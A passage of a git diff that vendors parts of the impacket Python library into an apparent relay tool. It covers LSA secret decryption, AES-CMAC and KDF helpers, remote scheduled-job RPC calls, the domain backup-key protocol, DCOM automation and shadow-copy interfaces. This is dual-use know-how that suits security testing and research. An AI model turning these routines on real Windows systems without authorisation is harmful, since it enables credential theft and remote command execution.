+ padLen = 16-len(N) + return N + b'\x80' + b'\x00'*(padLen-1) + +def AES_CMAC(K, M, length): + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + Algorithm AES-CMAC + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + + +# + Input : K ( 128-bit key ) + +# + : M ( message to be authenticated ) + +# + : len ( length of the message in octets ) + +# + Output : T ( message authentication code ) + +# + + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + Constants: const_Zero is 0x00000000000000000000000000000000 + +# + const_Bsize is 16 + +# + + +# + Variables: K1, K2 for 128-bit subkeys + +# + M_i is the i-th block (i=1..ceil(len/const_Bsize)) + +# + M_last is the last block xor-ed with K1 or K2 + +# + n for number of blocks to be processed + +# + r for number of octets of last block + +# + flag for denoting if last block is complete or not + +# + + +# + Step 1. (K1,K2) := Generate_Subkey(K); + +# + Step 2. n := ceil(len/const_Bsize); + +# + Step 3. if n = 0 + +# + then + +# + n := 1; + +# + flag := false; + +# + else + +# + if len mod const_Bsize is 0 + +# + then flag := true; + +# + else flag := false; + +# + + +# + Step 4. if flag is true + +# + then M_last := M_n XOR K1; + +# + else M_last := padding(M_n) XOR K2; + +# + Step 5. X := const_Zero; + +# + Step 6. for i := 1 to n-1 do + +# + begin + +# + Y := X XOR M_i; + +# + X := AES-128(K,Y); + +# + end + +# + Y := M_last XOR X; + +# + T := AES-128(K,Y); + +# + Step 7. return T; + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + const_Bsize = 16 + const_Zero = bytearray(16) + + AES_128= AES.new(K, AES.MODE_ECB) + M = bytearray(M[:length]) + K1, K2 = Generate_Subkey(K) + n = len(M)//const_Bsize + + if n == 0: + n = 1 + flag = False + else: + if (length % const_Bsize) == 0: + flag = True + else: + n += 1 + flag = False + + M_n = M[(n-1)*const_Bsize:] + if flag is True: + M_last = XOR_128(M_n,K1) + else: + M_last = XOR_128(PAD(M_n),K2) + + X = const_Zero + for i in range(n-1): + M_i = M[(i)*const_Bsize:][:16] + Y = XOR_128(X, M_i) + X = bytearray(AES_128.encrypt(bytes(Y))) + Y = XOR_128(M_last, X) + T = AES_128.encrypt(bytes(Y)) + + return T + +def AES_CMAC_PRF_128(VK, M, VKlen, Mlen): +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + AES-CMAC-PRF-128 + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + + +# + Input : VK (Variable-length key) + +# + : M (Message, i.e., the input data of the PRF) + +# + : VKlen (length of VK in octets) + +# + : len (length of M in octets) + +# + Output : PRV (128-bit Pseudo-Random Variable) + +# + + +# +-------------------------------------------------------------------+ +# + Variable: K (128-bit key for AES-CMAC) + +# + + +# + Step 1. If VKlen is equal to 16 + +# + Step 1a. then + +# + K := VK; + +# + Step 1b. else + +# + K := AES-CMAC(0^128, VK, VKlen); + +# + Step 2. PRV := AES-CMAC(K, M, len); + +# + return PRV; + +# + + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + if VKlen == 16: + K = VK + else: + K = AES_CMAC(bytes(bytearray(16)), VK, VKlen) + + PRV = AES_CMAC(K, M, Mlen) + + return PRV + +def KDF_CounterMode(KI, Label, Context, L): +# Implements NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 +# https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108 +# Fixed values: +# 1. h - The length of the output of the PRF in bits, and +# 2. r - The length of the binary representation of the counter i. +# Input: KI, Label, Context, and L. +# Process: +# 1. n := [L/h] +# 2. If n > 2r-1, then indicate an error and stop. +# 3. result(0):= empty . +# 4. For i = 1 to n, do +# a. K(i) := PRF (KI, [i]2 || Label || 0x00 || Context || [L]2) +# b. result(i) := result(i-1) || K(i). +# 5. Return: KO := the leftmost L bits of result(n). + h = 256 + r = 32 + + n = L // h + + if n == 0: + n = 1 + + if n > (pow(2,r)-1): + raise Exception("Error computing KDF_CounterMode") + + result = b'' + K = b'' + + for i in range(1,n+1): + input = pack('>L', i) + Label + b'\x00' + Context + pack('>L',L) + K = hmac.new(KI, input, hashlib.sha256).digest() + result = result + K + + return result[:(L//8)] + +# [MS-LSAD] Section 5.1.2 / 5.1.3 +class LSA_SECRET_XP(Structure): + structure = ( + ('Length','> 0x01) ) + OutputKey.append( chr(((ord(InputKey[0:1])&0x01)<<6) | (ord(InputKey[1:2])>>2)) ) + OutputKey.append( chr(((ord(InputKey[1:2])&0x03)<<5) | (ord(InputKey[2:3])>>3)) ) + OutputKey.append( chr(((ord(InputKey[2:3])&0x07)<<4) | (ord(InputKey[3:4])>>4)) ) + OutputKey.append( chr(((ord(InputKey[3:4])&0x0F)<<3) | (ord(InputKey[4:5])>>5)) ) + OutputKey.append( chr(((ord(InputKey[4:5])&0x1F)<<2) | (ord(InputKey[5:6])>>6)) ) + OutputKey.append( chr(((ord(InputKey[5:6])&0x3F)<<1) | (ord(InputKey[6:7])>>7)) ) + OutputKey.append( chr(ord(InputKey[6:7]) & 0x7F) ) + + for i in range(8): + OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) + + return b("".join(OutputKey)) + +def decryptSecret(key, value): + # [MS-LSAD] Section 5.1.2 + plainText = b'' + key0 = key + for i in range(0, len(value), 8): + cipherText = value[:8] + tmpStrKey = key0[:7] + tmpKey = transformKey(tmpStrKey) + Crypt1 = DES.new(tmpKey, DES.MODE_ECB) + plainText += Crypt1.decrypt(cipherText) + key0 = key0[7:] + value = value[8:] + # AdvanceKey + if len(key0) < 7: + key0 = key[len(key0):] + + secret = LSA_SECRET_XP(plainText) + return (secret['Secret']) + +def encryptSecret(key, value): + # [MS-LSAD] Section 5.1.2 + cipherText = b'' + key0 = key + value0 = pack('. +# There are test cases for them too. +# +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL +from impacket import hresult_errors +from impacket.uuid import uuidtup_to_bin +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] + return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +ATSVC_HANDLE = LPWSTR +# 2.3.1 Constant Values +CNLEN = 15 +DNLEN = CNLEN +UNLEN = 256 +MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1) + +# 2.3.7 Flags +TASK_FLAG_INTERACTIVE = 0x1 +TASK_FLAG_DELETE_WHEN_DONE = 0x2 +TASK_FLAG_DISABLED = 0x4 +TASK_FLAG_START_ONLY_IF_IDLE = 0x10 +TASK_FLAG_KILL_ON_IDLE_END = 0x20 +TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40 +TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80 +TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100 +TASK_FLAG_HIDDEN = 0x200 +TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400 +TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800 +TASK_FLAG_SYSTEM_REQUIRED = 0x1000 +TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000 + +################################################################################ +# STRUCTURES +################################################################################ +# 2.3.4 AT_INFO +class AT_INFO(NDRSTRUCT): + structure = ( + ('JobTime',DWORD), + ('DaysOfMonth',DWORD), + ('DaysOfWeek',UCHAR), + ('Flags',UCHAR), + ('Command',LPWSTR), + ) + +class LPAT_INFO(NDRPOINTER): + referent = ( + ('Data',AT_INFO), + ) + +# 2.3.6 AT_ENUM +class AT_ENUM(NDRSTRUCT): + structure = ( + ('JobId',DWORD), + ('JobTime',DWORD), + ('DaysOfMonth',DWORD), + ('DaysOfWeek',UCHAR), + ('Flags',UCHAR), + ('Command',LPWSTR), + ) + +class AT_ENUM_ARRAY(NDRUniConformantArray): + item = AT_ENUM + +class LPAT_ENUM_ARRAY(NDRPOINTER): + referent = ( + ('Data',AT_ENUM_ARRAY), + ) + +# 2.3.5 AT_ENUM_CONTAINER +class AT_ENUM_CONTAINER(NDRSTRUCT): + structure = ( + ('EntriesRead',DWORD), + ('Buffer',LPAT_ENUM_ARRAY), + ) + +################################################################################ +# RPC CALLS +################################################################################ +# 3.2.5.2.1 NetrJobAdd (Opnum 0) +class NetrJobAdd(NDRCALL): + opnum = 0 + structure = ( + ('ServerName',ATSVC_HANDLE), + ('pAtInfo', AT_INFO), + ) + +class NetrJobAddResponse(NDRCALL): + structure = ( + ('pJobId',DWORD), + ('ErrorCode',ULONG), + ) + +# 3.2.5.2.2 NetrJobDel (Opnum 1) +class NetrJobDel(NDRCALL): + opnum = 1 + structure = ( + ('ServerName',ATSVC_HANDLE), + ('MinJobId', DWORD), + ('MaxJobId', DWORD), + ) + +class NetrJobDelResponse(NDRCALL): + structure = ( + ('ErrorCode',ULONG), + ) + +# 3.2.5.2.3 NetrJobEnum (Opnum 2) +class NetrJobEnum(NDRCALL): + opnum = 2 + structure = ( + ('ServerName',ATSVC_HANDLE), + ('pEnumContainer', AT_ENUM_CONTAINER), + ('PreferedMaximumLength', DWORD), + ('pResumeHandle', DWORD), + ) + +class NetrJobEnumResponse(NDRCALL): + structure = ( + ('pEnumContainer', AT_ENUM_CONTAINER), + ('pTotalEntries', DWORD), + ('pResumeHandle',LPDWORD), + ('ErrorCode',ULONG), + ) + +# 3.2.5.2.4 NetrJobGetInfo (Opnum 3) +class NetrJobGetInfo(NDRCALL): + opnum = 3 + structure = ( + ('ServerName',ATSVC_HANDLE), + ('JobId', DWORD), + ) + +class NetrJobGetInfoResponse(NDRCALL): + structure = ( + ('ppAtInfo', LPAT_INFO), + ('ErrorCode',ULONG), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { + 0 : (NetrJobAdd,NetrJobAddResponse ), + 1 : (NetrJobDel,NetrJobDelResponse ), + 2 : (NetrJobEnum,NetrJobEnumResponse ), + 3 : (NetrJobGetInfo,NetrJobGetInfoResponse ), +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL): + netrJobAdd = NetrJobAdd() + netrJobAdd['ServerName'] = serverName + netrJobAdd['pAtInfo'] = atInfo + return dce.request(netrJobAdd) + +def hNetrJobDel(dce, serverName = NULL, minJobId = 0, maxJobId = 0): + netrJobDel = NetrJobDel() + netrJobDel['ServerName'] = serverName + netrJobDel['MinJobId'] = minJobId + netrJobDel['MaxJobId'] = maxJobId + return dce.request(netrJobDel) + +def hNetrJobEnum(dce, serverName = NULL, pEnumContainer = NULL, preferedMaximumLength = 0xffffffff): + netrJobEnum = NetrJobEnum() + netrJobEnum['ServerName'] = serverName + netrJobEnum['pEnumContainer']['Buffer'] = pEnumContainer + netrJobEnum['PreferedMaximumLength'] = preferedMaximumLength + return dce.request(netrJobEnum) + +def hNetrJobGetInfo(dce, serverName = NULL, jobId = 0): + netrJobGetInfo = NetrJobGetInfo() + netrJobGetInfo['ServerName'] = serverName + netrJobGetInfo['JobId'] = jobId + return dce.request(netrJobGetInfo) diff --git a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/bkrp.py b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/bkrp.py new file mode 100644 index 0000000..15a93bb --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/bkrp.py @@ -0,0 +1,127 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-BKRP] Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +# ToDo: +# [ ] 2.2.2 Client-Side-Wrapped Secret +from __future__ import division +from __future__ import print_function +from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import DWORD, NTSTATUS, GUID, RPC_SID, NULL +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket import system_errors +from impacket.uuid import uuidtup_to_bin, string_to_bin +from impacket.structure import Structure + +MSRPC_UUID_BKRP = uuidtup_to_bin(('3dde7c30-165d-11d1-ab8f-00805f14db40', '1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] + return 'BKRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'BKRP SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ + +BACKUPKEY_BACKUP_GUID = string_to_bin("7F752B10-178E-11D1-AB8F-00805F14DB40") +BACKUPKEY_RESTORE_GUID_WIN2K = string_to_bin("7FE94D50-178E-11D1-AB8F-00805F14DB40") +BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID = string_to_bin("018FF48A-EABA-40C6-8F6D-72370240E967") +BACKUPKEY_RESTORE_GUID = string_to_bin("47270C64-2FC7-499B-AC5B-0E37CDCE899A") + +################################################################################ +# STRUCTURES +################################################################################ +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + +class PBYTE_ARRAY(NDRPOINTER): + referent = ( + ('Data', BYTE_ARRAY), + ) + +# 2.2.4.1 Rc4EncryptedPayload Structure +class Rc4EncryptedPayload(Structure): + structure = ( + ('R3', '32s=""'), + ('MAC', '20s=""'), + ('SID', ':', RPC_SID), + ('Secret', ':'), + ) + +# 2.2.4 Secret Wrapped with Symmetric Key +class WRAPPED_SECRET(Structure): + structure = ( + ('SIGNATURE', ' 0 THEN +# PRINT Name of the method is rgBstrNames[0] +# PRINT Parameters to above method are following +# FOR Y = 1 to pcNames -1 +# PRINT rgBstrNames[Y] +# END FOR +# END IF +# END FOR i +# ENDIF +def enumerateMethods(iInterface): + methods = dict() + typeInfoCount = iInterface.GetTypeInfoCount() + if typeInfoCount['pctinfo'] == 0: + LOG.error('Automation Server does not support type information for this object') + return {} + iTypeInfo = iInterface.GetTypeInfo() + iTypeAttr = iTypeInfo.GetTypeAttr() + for x in range(iTypeAttr['ppTypeAttr']['cFuncs']): + funcDesc = iTypeInfo.GetFuncDesc(x) + names = iTypeInfo.GetNames(funcDesc['ppFuncDesc']['memid'], 255) + print(names['rgBstrNames'][0]['asData']) + funcDesc.dump() + print('='*80) + if names['pcNames'] > 0: + name = names['rgBstrNames'][0]['asData'] + methods[name] = {} + for param in range(1, names['pcNames']): + methods[name][names['rgBstrNames'][param]['asData']] = '' + if funcDesc['ppFuncDesc']['elemdescFunc'] != NULL: + methods[name]['ret'] = funcDesc['ppFuncDesc']['elemdescFunc']['tdesc']['vt'] + + return methods + +def checkNullString(string): + if string == NULL: + return string + + if string[-1:] != '\x00': + return string + '\x00' + else: + return string + +class ITypeComp(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self,interface) + self._iid = IID_ITypeComp + +class ITypeInfo(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self,interface) + self._iid = IID_ITypeInfo + + def GetTypeAttr(self): + request = ITypeInfo_GetTypeAttr() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def GetTypeComp(self): + request = ITypeInfo_GetTypeComp() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return ITypeComp(INTERFACE(self.get_cinstance(), ''.join(resp['ppTComp']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def GetFuncDesc(self, index): + request = ITypeInfo_GetFuncDesc() + request['index'] = index + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def GetNames(self, memid, cMaxNames=10): + request = ITypeInfo_GetNames() + request['memid'] = memid + request['cMaxNames'] = cMaxNames + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def GetDocumentation(self, memid, refPtrFlags=15): + request = ITypeInfo_GetDocumentation() + request['memid'] = memid + request['refPtrFlags'] = refPtrFlags + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + +class IDispatch(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self,interface) + self._iid = IID_IDispatch + + def GetTypeInfoCount(self): + request = IDispatch_GetTypeInfoCount() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def GetTypeInfo(self): + request = IDispatch_GetTypeInfo() + request['iTInfo'] = 0 + request['lcid'] = 0 + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return ITypeInfo(INTERFACE(self.get_cinstance(), ''.join(resp['ppTInfo']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def GetIDsOfNames(self, rgszNames, lcid = 0): + request = IDispatch_GetIDsOfNames() + request['riid'] = IID_NULL + for name in rgszNames: + tmpName = LPOLESTR() + tmpName['Data'] = checkNullString(name) + request['rgszNames'].append(tmpName) + request['cNames'] = len(rgszNames) + request['lcid'] = lcid + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + IDs = list() + for id in resp['rgDispId']: + IDs.append(id) + + return IDs + + def Invoke(self, dispIdMember, lcid, dwFlags, pDispParams, cVarRef, rgVarRefIdx, rgVarRef): + request = IDispatch_Invoke() + request['dispIdMember'] = dispIdMember + request['riid'] = IID_NULL + request['lcid'] = lcid + request['dwFlags'] = dwFlags + request['pDispParams'] = pDispParams + request['cVarRef'] = cVarRef + request['rgVarRefIdx'] = rgVarRefIdx + request['rgVarRef'] = rgVarRefIdx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp diff --git a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/scmp.py b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/scmp.py new file mode 100644 index 0000000..752235c --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/scmp.py @@ -0,0 +1,337 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-SCMP]: Shadow Copy Management Protocol Interface implementation +# This was used as a way to test the DCOM runtime. Further +# testing is needed to verify it is working as expected +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +from __future__ import division +from __future__ import print_function +from impacket.dcerpc.v5.ndr import NDRENUM, NDRSTRUCT, NDRUNION +from impacket.dcerpc.v5.dcomrt import PMInterfacePointer, INTERFACE, DCOMCALL, DCOMANSWER, IRemUnknown2 +from impacket.dcerpc.v5.dtypes import LONG, LONGLONG, ULONG, WSTR +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket import hresult_errors +from impacket.uuid import string_to_bin + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if self.error_code in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'SCMP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'SCMP SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 1.9 Standards Assignments +CLSID_ShadowCopyProvider = string_to_bin('0b5a2c52-3eb9-470a-96e2-6c6d4570e40f') +IID_IVssSnapshotMgmt = string_to_bin('FA7DF749-66E7-4986-A27F-E2F04AE53772') +IID_IVssEnumObject = string_to_bin('AE1C7110-2F60-11d3-8A39-00C04F72D8E3') +IID_IVssDifferentialSoftwareSnapshotMgmt = string_to_bin('214A0F28-B737-4026-B847-4F9E37D79529') +IID_IVssEnumMgmtObject = string_to_bin('01954E6B-9254-4e6e-808C-C9E05D007696') +IID_ShadowCopyProvider = string_to_bin('B5946137-7B9F-4925-AF80-51ABD60B20D5') + +# 2.2.1.1 VSS_ID +class VSS_ID(NDRSTRUCT): + structure = ( + ('Data','16s=b""'), + ) + + def getAlignment(self): + return 2 + +#2.2.1.2 VSS_PWSZ +VSS_PWSZ = WSTR + +# 2.2.1.3 VSS_TIMESTAMP +VSS_TIMESTAMP = LONGLONG + +error_status_t = LONG +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.2.1 VSS_OBJECT_TYPE Enumeration +class VSS_OBJECT_TYPE(NDRENUM): + class enumItems(Enum): + VSS_OBJECT_UNKNOWN = 0 + VSS_OBJECT_NONE = 1 + VSS_OBJECT_SNAPSHOT_SET = 2 + VSS_OBJECT_SNAPSHOT = 3 + VSS_OBJECT_PROVIDER = 4 + VSS_OBJECT_TYPE_COUNT = 5 + +# 2.2.2.2 VSS_MGMT_OBJECT_TYPE Enumeration +class VSS_MGMT_OBJECT_TYPE(NDRENUM): + class enumItems(Enum): + VSS_MGMT_OBJECT_UNKNOWN = 0 + VSS_MGMT_OBJECT_VOLUME = 1 + VSS_MGMT_OBJECT_DIFF_VOLUME = 2 + VSS_MGMT_OBJECT_DIFF_AREA = 3 + +# 2.2.2.3 VSS_VOLUME_SNAPSHOT_ATTRIBUTES Enumeration +class VSS_VOLUME_SNAPSHOT_ATTRIBUTES(NDRENUM): + class enumItems(Enum): + VSS_VOLSNAP_ATTR_PERSISTENT = 0x01 + VSS_VOLSNAP_ATTR_NO_AUTORECOVERY = 0x02 + VSS_VOLSNAP_ATTR_CLIENT_ACCESSIBLE = 0x04 + VSS_VOLSNAP_ATTR_NO_AUTO_RELEASE = 0x08 + VSS_VOLSNAP_ATTR_NO_WRITERS = 0x10 + +# 2.2.2.4 VSS_SNAPSHOT_STATE Enumeration +class VSS_SNAPSHOT_STATE(NDRENUM): + class enumItems(Enum): + VSS_SS_UNKNOWN = 0x01 + VSS_SS_CREATED = 0x0c + +# 2.2.2.5 VSS_PROVIDER_TYPE Enumeration +class VSS_PROVIDER_TYPE(NDRENUM): + class enumItems(Enum): + VSS_PROV_UNKNOWN = 0 + +# 2.2.3.7 VSS_VOLUME_PROP Structure +class VSS_VOLUME_PROP(NDRSTRUCT): + structure = ( + ('m_pwszVolumeName', VSS_PWSZ), + ('m_pwszVolumeDisplayName', VSS_PWSZ), + ) + +# 2.2.3.5 VSS_MGMT_OBJECT_UNION Union +class VSS_MGMT_OBJECT_UNION(NDRUNION): + commonHdr = ( + ('tag', ULONG), + ) + union = { + VSS_MGMT_OBJECT_TYPE.VSS_MGMT_OBJECT_VOLUME: ('Vol', VSS_VOLUME_PROP), + #VSS_MGMT_OBJECT_DIFF_VOLUME: ('DiffVol', VSS_DIFF_VOLUME_PROP), + #VSS_MGMT_OBJECT_DIFF_AREA: ('DiffArea', VSS_DIFF_AREA_PROP), + } + +# 2.2.3.6 VSS_MGMT_OBJECT_PROP Structure +class VSS_MGMT_OBJECT_PROP(NDRSTRUCT): + structure = ( + ('Type', VSS_MGMT_OBJECT_TYPE), + ('Obj', VSS_MGMT_OBJECT_UNION), + ) + +################################################################################ +# RPC CALLS +################################################################################ +# 3.1.3 IVssEnumMgmtObject Details + +# 3.1.3.1 Next (Opnum 3) +class IVssEnumMgmtObject_Next(DCOMCALL): + opnum = 3 + structure = ( + ('celt', ULONG), + ) + +class IVssEnumMgmtObject_NextResponse(DCOMANSWER): + structure = ( + ('rgelt', VSS_MGMT_OBJECT_PROP), + ('pceltFetched', ULONG), + ('ErrorCode', error_status_t), + ) + +# 3.1.2.1 Next (Opnum 3) +class IVssEnumObject_Next(DCOMCALL): + opnum = 3 + structure = ( + ('celt', ULONG), + ) + +class IVssEnumObject_NextResponse(DCOMANSWER): + structure = ( + ('rgelt', VSS_MGMT_OBJECT_PROP), + ('pceltFetched', ULONG), + ('ErrorCode', error_status_t), + ) + +class GetProviderMgmtInterface(DCOMCALL): + opnum = 3 + structure = ( + ('ProviderId', VSS_ID), + ('InterfaceId', VSS_ID), + ) + +class GetProviderMgmtInterfaceResponse(DCOMANSWER): + structure = ( + ('ppItf', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +class QueryVolumesSupportedForSnapshots(DCOMCALL): + opnum = 4 + structure = ( + ('ProviderId', VSS_ID), + ('IContext', LONG), + ) + +class QueryVolumesSupportedForSnapshotsResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +class QuerySnapshotsByVolume(DCOMCALL): + opnum = 5 + structure = ( + ('pwszVolumeName', VSS_PWSZ), + ('ProviderId', VSS_ID), + ) + +class QuerySnapshotsByVolumeResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.5 QueryDiffAreasForVolume (Opnum 6) +class QueryDiffAreasForVolume(DCOMCALL): + opnum = 6 + structure = ( + ('pwszVolumeName', VSS_PWSZ), + ) + +class QueryDiffAreasForVolumeResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.6 QueryDiffAreasOnVolume (Opnum 7) +class QueryDiffAreasOnVolume(DCOMCALL): + opnum = 7 + structure = ( + ('pwszVolumeName', VSS_PWSZ), + ) + +class QueryDiffAreasOnVolumeResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { +} + +################################################################################ +# HELPER FUNCTIONS AND INTERFACES +################################################################################ +class IVssEnumMgmtObject(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + self._iid = IID_IVssEnumMgmtObject + + def Next(self, celt): + request = IVssEnumMgmtObject_Next() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['celt'] = celt + resp = self.request(request, self._iid, uuid = self.get_iPid()) + return resp + +class IVssEnumObject(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + self._iid = IID_IVssEnumObject + + def Next(self, celt): + request = IVssEnumObject_Next() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['celt'] = celt + dce = self.connect() + resp = dce.request(request, self._iid, uuid = self.get_iPid()) + return resp + +class IVssSnapshotMgmt(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + self._iid = IID_IVssSnapshotMgmt + + def GetProviderMgmtInterface(self, providerId = IID_ShadowCopyProvider, interfaceId = IID_IVssDifferentialSoftwareSnapshotMgmt): + req = GetProviderMgmtInterface() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['ProviderId'] = providerId + req['InterfaceId'] = interfaceId + resp = self.request(req, self._iid, uuid = self.get_iPid()) + return IVssDifferentialSoftwareSnapshotMgmt(INTERFACE(classInstance, ''.join(resp['ppItf']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def QueryVolumesSupportedForSnapshots(self, providerId, iContext): + req = QueryVolumesSupportedForSnapshots() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['ProviderId'] = providerId + req['IContext'] = iContext + resp = self.request(req, self._iid, uuid = self.get_iPid()) + return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),target = self.get_target())) + + def QuerySnapshotsByVolume(self, volumeName, providerId = IID_ShadowCopyProvider): + req = QuerySnapshotsByVolume() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['pwszVolumeName'] = volumeName + req['ProviderId'] = providerId + try: + resp = self.request(req, self._iid, uuid = self.get_iPid()) + except DCERPCException as e: + print(e) + from impacket.winregistry import hexdump + data = e.get_packet() + hexdump(data) + kk = QuerySnapshotsByVolumeResponse(data) + kk.dump() + #resp.dump() + return IVssEnumObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + +class IVssDifferentialSoftwareSnapshotMgmt(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + self._iid = 